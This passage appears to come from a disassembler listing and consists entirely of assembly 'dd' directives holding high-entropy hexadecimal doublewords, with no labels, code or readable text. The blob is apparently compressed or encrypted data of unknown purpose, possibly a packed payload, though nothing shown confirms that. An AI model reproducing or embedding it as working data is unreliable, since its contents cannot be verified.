		dd 0C0D4B2h, 0DE2374F6h, 5D4896CAh, 910028B8h, 0FF3DCCB5h
		dd 0DABA01h, 9FC0E895h,	0EE520A6Fh, 0F4464A00h,	13254374h
		dd 68DB0070h, 0BEAADEC9h, 0B250CABCh, 0D0005AA0h, 0C83E5439h
		dd 0D179CEh, 3A596496h,	11380D77h, 71ADD000h, 4C3D1890h
		dd 0DC5E0326h, 7B834617h, 0E2DDBD80h, 0FF86CF1Eh, 0E98EE842h
		dd 37C84193h, 583326CDh, 0C72DC207h, 0DAACD01Dh, 322E2BE5h
		dd 9407D52Ch, 0F7078690h, 79AD7560h, 0E98500A5h, 0CD7A3B31h
		dd 81008E25h, 38DBD382h, 0B5C76Eh, 9A618095h, 0C0084DA4h
		dd 2C00097Eh, 0FE64A24h, 685251h, 4EA530EFh, 0B87A6095h
		dd 0F8084F07h, 8D5016E3h, 74D8D0F1h, 7839003Fh,	7E4E02A0h
		dd 8F0074C1h, 459B12F5h, 3D8C80B4h, 0C600B0BBh,	2790DE85h
		dd 30003850h, 2C18D006h, 99A707h, 0DECAA45Ch, 82496E75h
		dd 5F9D4C00h, 84C250F9h, 40ED00C3h, 0DBBE571h, 0E8031A77h
		dd 44D5F4F1h, 0D310A819h, 33180ED9h, 0C884326Ah, 8A40809Fh
		dd 0F4036412h, 0F556092Bh, 348ABF0h, 1518B19h, 6298F2A9h
		dd 9BFE258Ch, 14009C90h, 8EBDBB49h, 0F2B21A19h,	83471624h
		dd 159800A8h, 0C9E2346Bh, 37380667h, 6E0084C4h,	0EB1D396Fh
		dd 11F4362Eh, 0E5CA0600h, 7FD07271h, 70C70E9Bh,	0F943168Ch
		dd 31906C5Dh, 5B147B06h, 0ECF449h, 0D07770BBh, 98505E03h
		dd 0CEA00165h, 0BF2729A7h, 0C316E00Ch, 1FFDC3Eh, 0DB937309h
		dd 74614094h, 0F2C30h, 456A46A2h, 0C19E791Fh, 6F530303h
		dd 0EC3578C8h, 9149FCC0h, 0A7EACh, 2F20457h, 4ABCCAB0h
		dd 0E8F88B00h, 7DD85B03h, 0EB950149h, 0BBAE4017h, 0B2028083h
		dd 69BF901Ch, 0D91200A9h, 2E4FA2CFh, 5CB2C252h,	0CAF7D700h
		dd 59FBD4Bh, 0F860068h,	0A069FDCFh, 0CD00F86Bh,	3AD045E6h
		dd 28B5F3h, 0A5179634h,	0C5FD6021h, 41F78200h, 67A0B914h
		dd 9870774Eh, 0E126009Ch, 0DA08DD23h, 15035745h, 553C9E0Ch
		dd 670EC8B7h, 5991F071h, 0FC2A00E3h, 7AF09844h,	0AFB705A0h
		dd 47A488h, 0FFF970BCh,	6B0610EBh, 417C334Ah, 0FCC40018h
		dd 0B1B3A91Bh, 610E07A1h, 87959A4Ch, 67D00139h,	0C6947E3h
		dd 0E7A3594Dh, 507D5D80h, 0FEE93F05h, 0A8804097h, 50E055DCh
		dd 5E7ECF2h, 5AA7D26Dh,	74980062h, 83B632Ah, 5E09D3EAh
		dd 20DE513Dh, 0DA90A224h, 0C53300D9h, 269C16E0h, 0CF02CEFFh
		dd 4CC2D775h, 0C0C0434Eh, 135CDFh, 719C9718h, 7D8C0155h
		dd 0C300417Ch, 9D9F3CC4h, 3B4333h, 0A8A9261Bh, 0B358105Eh
		dd 2A509107h, 0ABC02B22h, 0CEF634h, 608416C9h, 0AE42D73Ah
		dd 0B79D0A00h, 3E025D35h
		dd 2F0D0061h, 249973CDh, 9050C31h, 82E039D9h, 0D5FF6CC0h
		dd 8566006Fh, 609FCFDDh, 7400C96Ah, 548A79D8h, 0C69E45h
		dd 0F7BB0A40h, 7BAF95F0h, 47E22905h, 0A700D2D1h, 0C7ED845h
		dd 72A900AAh, 0E93D92F1h, 2900840Dh, 3AA3D7B4h,	0E4C78Ch
		dd 0D15058A0h, 33816C6Fh, 0EAB94F00h, 86271BC0h, 0B2FCFAB7h
		dd 0AB9C0070h, 402F738h, 9800AC72h, 80E6A615h, 1EC4A8A1h
		dd 4077C548h, 6C70D4FDh, 0CF001140h, 0F90FE89Eh, 235979h
		dd 7A589CF8h, 0F13D155Dh, 0FC715F00h, 634701E6h, 0F86C5C72h
		dd 0A7077448h, 70D730F2h, 87534CA5h, 0E51938h, 0B33CAE73h
		dd 8232DFh, 0AA68B641h,	497EF08Eh, 5F4C9612h, 0F369D000h
		dd 42A917h, 934DF759h, 40CDE49Fh, 4636C100h, 9152ECF6h
		dd 6453014Bh, 328B79CCh, 1CE0E23Bh, 2FFCE1FEh, 1014FF00h
		dd 799DE497h, 0D9312455h, 0B5840022h, 6F956E4Dh, 2AB1CC00h
		dd 0E485A356h, 0F64E7CE5h, 3237B38h, 37E31434h,	1800E24Ch
		dd 0CFACA78Dh, 90F55A80h, 3060068h, 0E6F9D928h,	0F6003078h
		dd 3CFA4254h, 2405E04h,	3EED681Fh, 90419A03h, 0D009FCFDh
		dd 0B02C7C79h, 290100FCh, 8EEE5701h, 0A4175874h, 0FD7CD0h
		dd 894BA9FBh, 8D83C2Fh,	0D2C8CB05h, 0DC03D783h,	88A341E1h
		dd 1CF790h, 5CBE5EFFh, 0CEA7C9B3h, 7E702400h, 0E2966436h
		dd 8F3700F9h, 0AEAF83CCh, 9500FFA4h, 56C515Bh, 26BFAB3h
		dd 654EB652h, 0C3E00A47h, 0A3989B3Ch, 0C3233900h, 9EAD2894h
		dd 6B7864h, 8F36F05Bh, 1D21DEB0h, 4994B900h, 0C6DC3973h
		dd 0CAA0000Dh, 9DBC8387h, 2D00BB60h, 0E0A3AEFCh, 134A34B7h
		dd 90E55EF2h, 0FBB4CD10h, 4458489Ah, 4DB70014h,	705A24E8h
		dd 0B9770E5Dh, 59EFE6A8h, 0CA16AA40h, 72098813h, 0A20103h
		dd 6206C33h, 0B9FF0766h, 0CF292252h, 81428D60h,	0B6030C48h
		dd 587F1E2Ah, 0FB310178h, 4010ADB8h, 54D0E813h,	306D3500h
		dd 324A4212h, 0D22107B4h, 0B0DCABB0h, 2672F61Eh, 37491F00h
		dd 0CC66927Dh, 2CD9010Fh, 63BF16C2h, 7C72D0h, 4B900E76h
		dd 31E0961h, 9C15AD7Bh,	54F8B324h, 3B071947h, 5C89CCDBh
		dd 0CD2091D0h, 7D320085h, 58312A04h, 3625A3E0h,	0EE424F2h
		dd 1232C12Fh, 81FD3D6Fh, 1DDC6080h, 8835B887h, 0D198B403h
		dd 0B8B17B45h, 483D022Eh, 0F27F5046h, 127E7461h, 884E1A3Bh
		dd 488173A0h, 0B9284007h, 391E8EB4h, 21875DC8h,	0EF013602h
		dd 0CEE41BDEh, 963D289Ah, 79A70180h, 0C17D9849h, 0DAD0F372h
		dd 0B20E14F5h, 0A3683D2Dh, 90AFA9E4h, 5CFBF1h, 0EBEE42ABh
		dd 0F00F180Eh, 0B70E047Ah, 20C4671Fh, 9EA46699h, 0A3331835h
		dd 0BD88A044h, 38120C00h, 0C4571A8Bh, 0A4140994h, 146804C1h
		dd 8E69C527h, 4D044831h, 28B90020h, 0BD687811h,	37D2430h
		dd 29BB48h, 0C51D3776h,	0B6CF2Eh, 7E659DDEh, 6162033Ch
		dd 3D007176h, 77FA1B60h, 0ECFE93B3h, 751100EFh,	91852DF3h
		dd 0AC2CC38Eh, 2E3E573Fh, 160A2392h, 1581C899h,	9EB42CF4h
		dd 0CC35F0h, 0DE44EBE6h, 7D8D41B6h, 64DCB9C0h, 1EF0389h
		dd 0D1973C12h, 0D191E41Bh, 5B2180F0h, 25720371h, 9BDA00DEh
		dd 87B68F55h, 3400F51Dh, 77A29F46h, 0A492613h, 2B18DE43h
		dd 86683284h, 8032A30h,	98B412E6h, 0AA408564h, 4B370392h
		dd 39716800h, 1882B693h, 6D2705C0h, 47A29DA5h, 815A40B0h
		dd 8042F84Bh, 0C4E49C11h, 7D1343Bh, 0D93DA460h,	21464667h
		dd 0C4ECFD00h, 1CEEE22Fh, 0B787300Dh, 27C37F50h, 3B8526Bh
		dd 7C7C5B86h, 6F2310D0h, 0A2984353h, 21F5308Ch,	0DD3B8779h
		dd 0DB581B13h, 0A1B80A70h, 9E9C12D5h, 34B2C03Bh, 6CFA785Bh
		dd 73177900h, 0EE072482h, 0E5ED3A3Fh, 0A759DD80h, 3ED76801h
		dd 1700F8B8h, 0C1940AF5h, 3C95028Eh, 0DE8E4737h, 0CDC01D5Ch
		dd 4E31D56Dh, 0B02D5900h, 47B8C110h, 0A8970081h, 453CD2BCh
		dd 29003782h, 44EEE5E7h, 90D84Ch, 89BCADACh, 0B7CF2811h
		dd 126A2300h, 0C9EBA9FFh, 5CDB3CE8h, 8589C300h,	14AD1CE3h
		dd 0BB7C0200h, 3F5AFC86h, 6C7892h, 64EBF231h, 0E1F979Dh
		dd 0D51D4600h, 0EC14B4C2h, 9F47001Ch, 0B5D902FDh, 13004840h
		dd 2E46E139h, 70DB4DEh,	813114ACh, 61C3209Ah, 0DB30A638h
		dd 0C2DF70FFh, 0F23701B0h, 5B51B546h, 0EC188047h, 0CD38FCAFh
		dd 9FA7071Dh, 0F0FD1927h, 1F2C2E80h, 87AD78CEh,	1E50022Bh
		dd 26FC6DAh, 560B034Bh,	24826D51h, 0D986847Dh, 6CB0481Ch
		dd 0D8E02E00h, 509238C6h, 717DC1h, 4C28D5E1h, 16AC5F32h
		dd 0F80059EEh, 71D01C94h, 1B249533h, 9130045Bh,	190074ABh
		dd 0CCA03EC2h, 0E881B868h, 0DD321D31h, 0C7A981E6h, 0A00FC844h
		dd 7E02F1A0h, 0BA5A0759h, 0DF049D58h, 5EE87AE1h, 83CA1180h
		dd 2BD0E992h, 94C76E00h, 2F885228h, 32DA19AAh, 0D8D919D6h
		dd 0EE897B1Bh, 0D0ED2211h, 0F030BA5Ch, 0FE580892h, 21E268E8h
		dd 5410033Ch, 48F8B43Ch, 99003EDDh, 0C14DBF13h,	6CC96h
		dd 0E1D6B11Dh, 6E92E636h, 77BC7C0Fh, 0FCC705EEh, 0DB1B58C0h
		dd 28B10014h, 1FA25A09h, 0BA015904h, 8AD5071Ah,	0C0DB05F0h
		dd 0A0DAA072h, 0D9FB40h, 2F45B48Eh, 487E957Ah, 75F10700h
		dd 288CC773h, 508006E9h, 0C0B75FA2h, 0B9077033h, 0A83DC081h
		dd 0B13C00B0h, 0EBE11B2Eh, 61052F13h, 0E9823E7Ch, 38C93406h
		dd 290611F8h, 544700DCh, 6973C885h, 92F1889h, 1CD8186Ah
		dd 0B1A09E00h, 271706CEh, 5FF400DBh, 15313B2Bh,	0A6076AB6h
		dd 50565D3Ah, 9662D80h,	94CB1D6Dh, 6C7E05E8h, 51AC40B3h
		dd 50ADFE89h, 83E84854h, 0AB027BE0h, 9A888201h,	51FC90F1h
		dd 661318E9h, 0C9A0C042h, 8005D630h, 51476F3h, 0D8096EAAh
		dd 0DD984182h, 71888575h, 92241C87h, 48520086h,	9C232711h
		dd 18CF31D9h, 0FFF36005h, 1F6876BAh, 0FD03E76Ch, 19875F80h
		dd 94D0487Dh, 7C43C03Ah, 3CBB8004h, 480EFACh, 5008FEF3h
		dd 1D50FC1Fh, 1C460BDFh, 0C88A01D0h, 0F051699Ch, 0BA002752h
		dd 0A391AA17h, 0F86EDD3Ch, 0B0E251DEh, 84FA5818h, 9D17B142h
		dd 0F93C40BAh, 853AA9Fh, 807ED82Ah, 103A74A1h, 48E78893h
		dd 1880688Dh, 45413DFh,	3F2EA0A0h, 0B0B5FF37h, 0A71ECE40h
		dd 0D78C06B6h, 18FA096Fh, 33CA203h, 0E0272EB4h,	12F7188Ah
		dd 1D8B10Ch, 16596868h,	39282258h, 25F183Dh, 915C8718h
		dd 1D700974h, 1590402Ah, 62B1F476h, 748C1043h, 79A73022h
		dd 7819E548h, 1700EC91h, 0AF688C59h, 0ED4F1485h, 7B28886Bh
		dd 5AEF00FCh, 0DA63A90Fh, 0D0A9CC9h, 34F63B02h,	18445E62h
		dd 0B7041CF1h, 8EF70B3Fh, 400208D2h, 48278CCh, 0A9950FE4h
		dd 717C901Dh, 31F1BE3h,	82434F1Eh, 0E98D3E36h, 0BCC4DFE0h
		dd 6022738Ch, 8B8348DDh, 9300AEEDh, 953A704Fh, 19F0116h
		dd 21A98277h, 0B5673950h, 0B600BCE0h, 0E80B3DFFh, 7F32140Dh
		dd 0D4505C84h, 80D751A2h, 3F1A448h, 340CEF04h, 1BFA853Ch
		dd 768F90AFh, 1A817180h, 207D2106h, 0EF3DD00h, 4477AA22h
		dd 0FE0103C8h, 0F23DF151h, 9214B801h, 55C5954Dh, 0E3877080h
		dd 285A265Bh, 3DABE40h,	0EE069A38h, 80015C61h, 6659993Ah
		dd 0CF3C236h, 0F914D8A8h, 0A4A89148h, 383FD43Dh, 36670C0Eh
		dd 0A1D8D1A6h, 3087DCBDh, 0B3253A65h, 6919BDE4h, 0AA808E20h
		dd 1960E803h, 72FB86E9h, 0A21400DCh, 168771A6h,	540004BFh
		dd 2B4CFFD4h, 15C3E24h
		dd 951C19CFh, 20790CF9h, 41C00E9Ch, 0F80A728Fh,	0F6331EE2h
		dd 0BAA8812Bh, 0FB5CDCB5h, 0C9D8B100h, 0C397C19h, 40D0245Ah
		dd 0ABF28A60h, 0C0381EDCh, 8C5F3450h, 0C013337Bh, 980167F6h
		dd 77EBE7F9h, 53463180h, 0F60956C4h, 692463F8h,	0E905ACDBh
		dd 0E820DA85h, 0F65752EBh, 625D1FBFh, 0FF03846Bh, 91DC9068h
		dd 0FC295445h, 0C184FCDCh, 0F880AC4Ah, 3AB93784h, 0E9002B73h
		dd 0F1678C7Ch, 0D90002FCh, 1E0787AEh, 0EF4486Ch, 0DB76FBDCh
		dd 6525BC21h, 0C0203189h, 0B0A6BE1Ah, 44518500h, 0A69114D9h
		dd 0FB891229h, 0A10012Ah, 0F8653DADh, 2DEE1587h, 50915FEEh
		dd 312F8200h, 0FE8DBC9Eh, 2A60825Eh, 4228673Eh,	200FB0BBh
		dd 40338625h, 8569F696h, 5C7831D5h, 41BCF1E9h, 0C2516FBCh
		dd 0AFFFC480h, 50011F37h, 0A6E457D9h, 0BFF13C25h, 0B9EBE0C7h
		dd 6F6303B1h, 76626EF1h, 3486D9A1h, 3E0AF984h, 9454A840h
		dd 0E8000492h, 0C7348429h, 6414A0C9h, 0A90C0C6Bh, 30303AC5h
		dd 0BC75E88h, 77D08590h, 5BFFA001h, 0AB80F2AFh,	68BF0A9Eh
		dd 523F4Ch, 3EA6C67h, 1339E851h, 38505Dh, 0C7DC6B50h, 0A8093304h
		dd 0A49FDAh, 44523D8Ch,	69FF00DFh, 8B799B91h, 0FE00BA56h
		dd 0F9FD5501h, 910AC21h, 82343F09h, 742CE096h, 0DAC2800Fh
		dd 13F864EAh, 756F3956h, 109C8B28h, 3455CFBDh, 7F2D21F2h
		dd 0EAE84890h, 128C1549h, 6824EC2Fh, 0E2409h, 8CAFCAA0h
		dd 4004985Ch, 240164Fh,	98209918h, 3D9A61D5h, 28629937h
		dd 8F83106Fh, 5003752Ah, 0EE08D94Dh, 89690416h,	825B8BC3h
		dd 0CC4149ACh, 8F4030B9h, 2C495E42h, 4C09D215h,	28A2A518h
		dd 91885C63h, 8609817h,	66D0790Fh, 0FC46DC92h, 1EB08620h
		dd 0C07E1BB2h, 0AA2D14FFh, 0A4705C3Dh, 57DEE203h, 8947AD0Ch
		dd 8849405Bh, 0FF1D0033h, 0F899010Ch, 324BA693h, 0C07448ACh
		dd 0EE04FDDBh, 2819597Ah, 12D4C5C1h, 0C434217Bh, 0AA264D5Bh
		dd 8285C48Fh, 0D0D10FA2h, 6833A90Ah, 4EE21D02h,	4F626B5Fh
		dd 0B1A3BC20h, 48078A26h, 0D833ACDDh, 0FA742069h, 9E6EE10h
		dd 5F23E509h, 34E82492h, 1E49D95Ch, 96461F24h, 2E3CED04h
		dd 0A068DCh, 9056CCB3h,	645B6CF6h, 3057E4A9h, 5188C050h
		dd 0AFF0132Eh, 9890D675h, 0DBF1C261h, 518743EBh, 0D3DFAB25h
		dd 75E3B6EEh, 85EC80E5h, 99C98BC8h, 62482703h, 798609C0h
		dd 0C89F0F51h, 484E47Fh, 53C088B2h, 0C3D49h, 0EF492DAFh
		dd 18641425h, 8995E773h, 68014ECBh, 0E60D3A51h,	0A01170C3h
		dd 3709F8DBh, 960364B1h, 0B86F89E0h, 0A64BBF1Bh, 0C5B41CBCh
		dd 3CF340EEh, 383D6422h, 2EA2670Eh, 0F018952Dh,	9EE115h
		dd 30BDAEA1h, 42DE1986h, 0FDDC9D1Dh, 2956D209h,	20E0A098h
		dd 47C3E2h, 0D97C7490h,	888955BCh, 99AFA039h, 3BD07E96h
		dd 0F1DFA970h, 9D43E983h, 0C9C8D280h, 40A9FB5Bh, 99947001h
		dd 51E76C02h, 0E5D19AC2h, 68AE88C4h, 0CB40F8AEh, 4C58D8BBh
		dd 39126454h, 6F50455Bh, 0D588C03Dh, 0F91217AFh, 45DB98Ch
		dd 2E5C1407h, 0EC598350h, 16900B76h, 9380451Fh,	4F5D3D74h
		dd 1DF07759h, 89704065h, 4D0FCA3h, 0EA782DEBh, 3D5893F1h
		dd 0B4D912C8h, 1E091402h, 0C099CBB9h, 790494h, 18C14493h
		dd 0B0953DD5h, 89A46A54h, 9A00B498h, 628B4DCh, 0A0C8501Eh
		dd 0F21A7C81h, 0ED080095h, 2D94F3DAh, 8A69A64h,	80391C21h
		dd 1A887754h, 333EABCCh, 6D300FDh, 4D39DC2Eh, 60F61CA0h
		dd 925A8011h, 0F965CABFh, 20EEF128h, 7C77A40Fh,	896880C8h
		dd 0C96CBBh, 565C2EB1h,	558C4850h, 0D05B7300h, 785F01EEh
		dd 16D0C1A4h, 34156BD5h, 221ABB74h, 4B190C8Dh, 1362FCFCh
		dd 1A10B16h, 20B06E20h,	31282EECh, 3621C055h, 0D73E0EAFh
		dd 1F0823E0h, 4E2AE8B9h, 925D4F3h, 0AB202F8Ah, 968884A0h
		dd 400DC85h, 0F635D5EFh, 14ECB288h, 0DC341289h,	337D2302h
		dd 34C0D63Dh, 7C02565Ah, 9742B59h, 0A6606115h, 3165E860h
		dd 3DD896B2h, 58C824C7h, 0E853AA0Ch, 48503869h,	3860B62Ah
		dd 28AF6EB6h, 3CE7421Fh, 44778400h, 0A4F3B480h,	0F4CA2108h
		dd 81F64089h, 0DBBC8928h, 39DC0C20h, 0A201BE19h, 3F3FBFDh
		dd 0B444F5Bh, 392ED8ADh, 0C860F4D4h, 71A90054h,	7F21EE33h
		dd 5B01802Ch, 0DDDA9B72h, 39BE5F51h, 2F5A0E42h,	204FC922h
		dd 3D7007A8h, 542FB8F0h, 4E1D046h, 3471A079h, 82C0E2A9h
		dd 4255EC70h, 88CC19ACh, 7324B05Bh, 4854BA4h, 69A44282h
		dd 0E07026A6h, 8E962F3Eh, 0E07EBB73h, 910376F1h, 8A05257h
		dd 0C1A35910h, 5C1594D1h, 0CC407C21h, 71A896Ch,	67A89578h
		dd 59BD53A0h, 6849D8F2h, 1468DAA3h, 6409DA39h, 1A09A7Eh
		dd 0F798BBFCh, 0DC2D3CEDh, 600A72C0h, 9127A27Ch, 0A4048295h
		dd 2234C896h, 0A331C069h, 0F7F32102h, 315CCB00h, 0DC15542Ah
		dd 0B3DD173Eh, 9D20250h, 1C6083BFh, 29048046h, 9CC4C3E1h
		dd 0F88AE4F0h, 8368CE42h, 998080F3h, 39FF1BE1h,	5F221260h
		dd 0FA11B061h, 139AA060h, 0D896B1A2h, 0F1126F54h, 4C2102D4h
		dd 0E0354DA9h, 0EECA188Bh, 80E2B804h, 7A092810h, 23C3821Ch
		dd 700010A6h, 21385714h, 0DB340C54h, 6E183092h,	1355E909h
		dd 69C0C0DDh, 3332CE5h,	19EE806Ch, 0F9A3042Ah, 203CE1h
		dd 31FB567h, 112D5F1h, 0B104CB06h, 0FBEBEE9Bh, 3E7C59E0h
		dd 52A69A3Fh, 0BB284C0h, 0DA82421Dh, 4CE02CD2h,	45000D6Bh
		dd 589F732Eh, 2E468971h, 12AF5457h, 15A00517h, 181842ABh
		dd 30949DE7h, 6F306245h, 9761248Dh, 69F900C0h, 99F1844Eh
		dd 0AB71511Fh, 0FDF4C700h, 0C0F03CA9h, 748AD7D9h, 94FC1582h
		dd 0A020AC24h, 5AE9AA01h, 146CDD25h, 0C397C14h,	0DA79760Fh
		dd 40E4B28Ah, 3668C923h, 7EF8ED49h, 9CC000B6h, 469B2957h
		dd 0F1A5C097h, 15070ACh, 12F22F89h, 6407717Dh, 5F0A1648h
		dd 0D8DA41EEh, 0F7918286h, 3C890311h, 81BCD553h, 7E579106h
		dd 3EA0DE30h, 3498F17Ah, 5B845866h, 6997117h, 0CD09E12h
		dd 9BA05Fh, 0A88FC689h,	0E1845C8Bh, 86FF962Dh, 1D93B7Ch
		dd 175B490Ch, 0DC1F395Dh, 0B0008840h, 0ECD632C3h, 798F2BD0h
		dd 0A0262530h, 9AAA10A1h, 0A46DC177h, 0A2002511h, 7BC74D3Bh
		dd 56E118A0h, 0DCF1C87Fh, 50C60A24h, 504E702Fh,	6062C00Bh
		dd 596880E4h, 89498CF7h, 8DA24DCh, 0EBC57D03h, 0EA33F9FAh
		dd 21920898h, 9D00EC7Ah, 0D53923B5h, 2DC3856Ch,	508C5C93h
		dd 55F081A1h, 40DAF73Eh, 0AB771CA7h, 1C00BFF3h,	0A990822Ah
		dd 21C0B52Bh, 0FCAC3F7Eh, 44743C83h, 62318081h,	80F94ED1h
		dd 0B63D56E1h, 0EB7F84Ah, 0FDDB0E35h, 76CC2A20h, 0ED022E4Eh
		dd 0A834BB9Bh, 77104088h, 68DB7C3Fh, 0ABEF8CDh,	8748F603h
		dd 24FDAB7Dh, 20B662A8h, 51AC3AB8h, 2EA4D400h, 3DE08FCBh
		dd 0FFB430BBh, 939BD9E8h, 7F165905h, 0B44E6256h, 4782BC9Fh
		dd 7CDB356Ch, 0E5D60B31h, 0A4DDD080h, 61003EF5h, 0E1105313h
		dd 9F98CB2h, 0E9D88BFBh, 307DB901h, 634D20EFh, 3AEE8A03h
		dd 0D9710481h, 82E0431Dh, 0AFF603EDh, 5096DAEh,	64A863ABh
		dd 7200E8A0h, 0B8CD81A4h, 3E66E286h, 2E8B83EEh,	0FC80FB9Ah
		dd 0A3894427h, 1DE92D3Ch, 0B000B5F0h, 1EE08B6Ch, 99543E60h
		dd 32E34800h, 4DB2FC9Dh, 0D6612901h, 0FAEE8D33h, 3BD78F30h
		dd 5B00D012h, 763069EDh, 133A0599h, 0E1C29DEBh,	80DCF34Eh
		dd 0D16C11BAh
		dd 3E07000Fh, 0F1532982h, 0D2176897h, 510059EAh, 0BE4EC8CFh
		dd 58D5000Dh, 518DCECh,	28FEFF9Dh, 95AFE904h, 7480D4CFh
		dd 37FA63Ah, 0DEC5978h,	30004BD3h, 0F45DE12Bh, 1335F60h
		dd 931243EBh, 0D0AA899Dh, 0C271CDD3h, 7B725900h, 34F0D829h
		dd 0C53937EDh, 4091B741h, 721740A4h, 0D100BDF2h, 0C2611D67h
		dd 0A5EE020h, 0DE5BED5Ch, 0A93A0718h, 0B33DF0F3h, 2700BF28h
		dd 0E9498791h, 0C0784CC0h, 0BDFCFA1Ah, 0F601265Ch, 0A2DEE165h
		dd 0B3E0F9E2h, 37E6001Ch, 0E4CA31DBh, 0E133AA3h, 6C06A83Dh
		dd 169D90Dh, 503B8117h,	0C5E22257h, 36804780h, 345429AEh
		dd 0E7077A98h, 94B224EDh, 0A540A830h, 0B5C3001Bh, 98356F99h
		dd 3300D8E8h, 2A660886h, 11D63ECh, 484E5E2Fh, 8001C593h
		dd 2CB6D1E8h, 48C79D87h, 0F742D58h, 575C1308h, 3255BAA0h
		dd 0C10CF5EFh, 30DF4A5Bh, 1E9000DEh, 62D696FDh,	0D03E9EE8h
		dd 11600EE2h, 2B9181F8h, 0A07B70D4h, 0B40FF7E8h, 2A87B59Bh
		dd 0D903E99Dh, 1577478h, 5D1DDC40h, 0C8AA7E09h,	0FF307DD2h
		dd 2AF99931h, 0E5B400D7h, 0BCA9CE4h, 19005213h,	797FAE4Ah
		dd 62C14BDh, 1B299061h,	0F10091FBh, 1A52C19Ah, 45A66Fh
		dd 7FB73C66h, 0D70B74E9h, 0A8608318h, 0EAB79A9h, 80684896h
		dd 0EDBABCE0h, 0AE00C536h, 76982445h, 6B3CCF9h,	7D07E2D6h
		dd 0F4E539EFh, 200021ABh, 0E493D9DAh, 1EAE201h,	17E8D57Ch
		dd 0CC333448h, 60346D4h, 0FD4DE497h, 35D1C091h,	0A41F017Bh
		dd 927C4CCAh, 931884B7h, 7580997Fh, 2E109569h, 181C285Ah
		dd 0EAD47031h, 7485C303h, 0F07BFFDEh, 0A81AF071h, 78102A94h
		dd 2C77006Dh, 0E1CB40A3h, 110B2B98h, 3DF95Dh, 6E615714h
		dd 90F46145h, 0D92FEED4h, 0B448C49Dh, 5BC07005h, 0B2002203h
		dd 0EEDA5409h, 0F6AA03D4h, 0C4E5F74Eh, 206E3CB1h, 0FD00101Ch
		dd 22835820h, 78033A4Dh, 0EAB9005Dh, 2439F99Bh,	50DFC353h
		dd 68B549h, 0A6C4CC98h,	674600C7h, 87D16FAh, 28C05DB1h
		dd 0A47B9C2Ah, 49423B0Ch, 6CCE96h, 0FD1319B1h, 0D330B30Fh
		dd 705D50F8h, 69F3120Bh, 7B410066h, 0A2EEB501h,	0B0DFBC00h
		dd 39606A9h, 0BE7481h, 7CC775FDh, 1B8E7BFEh, 290573B8h
		dd 73A435E1h, 4970CC80h, 6B913045h, 68EA7CB8h, 67A70E03h
		dd 0D821AA47h, 183A9640h, 0F6FB6D15h, 3F006A27h, 0EC47BCC8h
		dd 2E59DA9h, 0CBC35AFCh, 0A4A06F22h, 4914F70h, 7B08E0C6h
		dd 0D61500E9h, 814DA253h, 970C1623h, 0D8362170h, 22C800C3h
		dd 993359E4h, 906E4BB3h, 4E71C018h, 58C045h, 1BD969D5h
		dd 0A693D2C2h, 9BA1DD01h, 0F94D5E50h, 0E9D1F0h,	3ABEFBBCh
		dd 0B8204FA5h, 46498400h, 5EF9CD52h, 9BBA03BDh,	3F1216DEh
		dd 321B2911h, 0CC040D08h, 88915108h, 57903169h,	34148382h
		dd 9DD95501h, 291A1905h, 272810A3h, 6276017Ah, 2435A905h
		dd 0E567CC90h, 23EF3Fh,	0F074FFA6h, 1FA11FC5h, 4FCB3057h
		dd 76E0FEDEh, 0B58FD5C1h, 3C5D1D58h, 0AEBA78h, 37127971h
		dd 98136Ch, 53D2FA6Bh, 33D7DE4Fh, 1AE30D24h, 96495D00h
		dd 7D7C2Bh, 5EF4CFD8h, 3D7AC724h, 478C680Fh, 0D62B61FDh
		dd 0A5F44827h, 227865h,	4A26ED96h, 5A213277h, 0C4523C00h
		dd 0C6E4C979h, 92E5391Eh, 0A733410Eh, 911922C7h, 0F4781589h
		dd 75E23EEAh, 564B4C1Fh, 459A6940h, 10435A3h, 0E2B0B954h
		dd 0E038235Ch, 0C9397B8Dh, 9753802Dh, 27298380h, 0C2EE7Ch
		dd 0A86995Fh, 92E815A6h, 737EC300h, 7F25ACA9h, 7AA33C80h
		dd 76F99480h, 68454DCBh, 995C8F00h, 0AE2C8253h,	9F541C15h
		dd 263EC7D8h, 0A2C01ECFh, 32068A76h, 0CAAD9E02h, 602C8113h
		dd 6BEE42h, 0E8C18E7Ch,	3E5FB44Ah, 35FB4Ch, 50765B05h
		dd 6463C3h, 125646B6h, 0E6EC9A5Eh, 78112E00h, 1ED41B6Ch
		dd 85500EDh, 67C9C034h,	9500D532h, 0E54075F6h, 2F176Fh
		dd 0E910859Eh, 0BD86D25Fh, 8B3B7FF6h, 4B3063C2h, 6820C8D7h
		dd 0E12F26B0h, 8F161DF9h, 0ECA08E5Dh, 9375C2CEh, 765CD900h
		dd 609590A5h, 94290007h, 1D10FC1Ah, 0E4ED4E6Dh,	911F7DC9h
		dd 0AA008796h, 1BE472FAh, 0EB8600E6h, 7F9A0AA6h, 2100647Bh
		dd 0B7B3065Dh, 0DBD97Dh, 0FC238C28h, 569AD0E4h,	0B877A900h
		dd 71DC2476h, 0BC2F3A95h, 6BFB0075h, 0DAFD5FBDh, 0FC03E2B1h
		dd 1D1F5501h, 1471E0A6h, 0E1D7FF6Dh, 1180911Bh,	0DB271F7Fh
		dd 470015D6h, 0EF9EF85Dh, 9A24D63h, 36CF4033h, 0CE761780h
		dd 6E00DA13h, 6A1AACEBh, 0F6B101E1h, 0FC6DF881h, 0AF5D0064h
		dd 4FD34883h, 91001232h, 0A63B6155h, 0F8273Eh, 0DDFF3A14h
		dd 46F39F87h, 13BCD205h, 17C0DFC9h, 98DC17B7h, 0D116005Bh
		dd 0D628DCAh, 0D6002F8Bh, 0F9305EEEh, 861790h, 64314754h
		dd 9E38BB4Eh, 63013E00h, 3A8FD0A9h, 3BD3073Fh, 0C0261CCAh
		dd 990D6D2Dh, 551AC300h, 0B3AE7D2h, 0B7670008h,	0E8A07A3Dh
		dd 32390D9Ch, 795B0084h, 266C2173h, 681E00D7h, 29CD66ABh
		dd 0E338D025h, 0DBBE00B2h, 603196CFh, 0A0263A28h, 739F1981h
		dd 0E8BBF142h, 12004499h, 1DA16914h, 0FC8CF4h, 0EDB1902Ch
		dd 169CCF85h, 1B932001h, 6EC999B0h, 240FA2DCh, 0B830979Eh
		dd 6ABE2100h, 45CAFEC5h, 4DE0E200h, 855B8B07h, 0C4161EB0h
		dd 2089403Ah, 74183D0Dh, 0D00017FAh, 8DF785C6h,	1D25E9DAh
		dd 44134277h, 73171FBh,	5260EDEBh, 20A766h, 569E3D2Dh
		dd 0FA05D52Ch, 7D39F4F6h, 0F2DA9B8Ah, 518ED078h, 3A6E489Ch
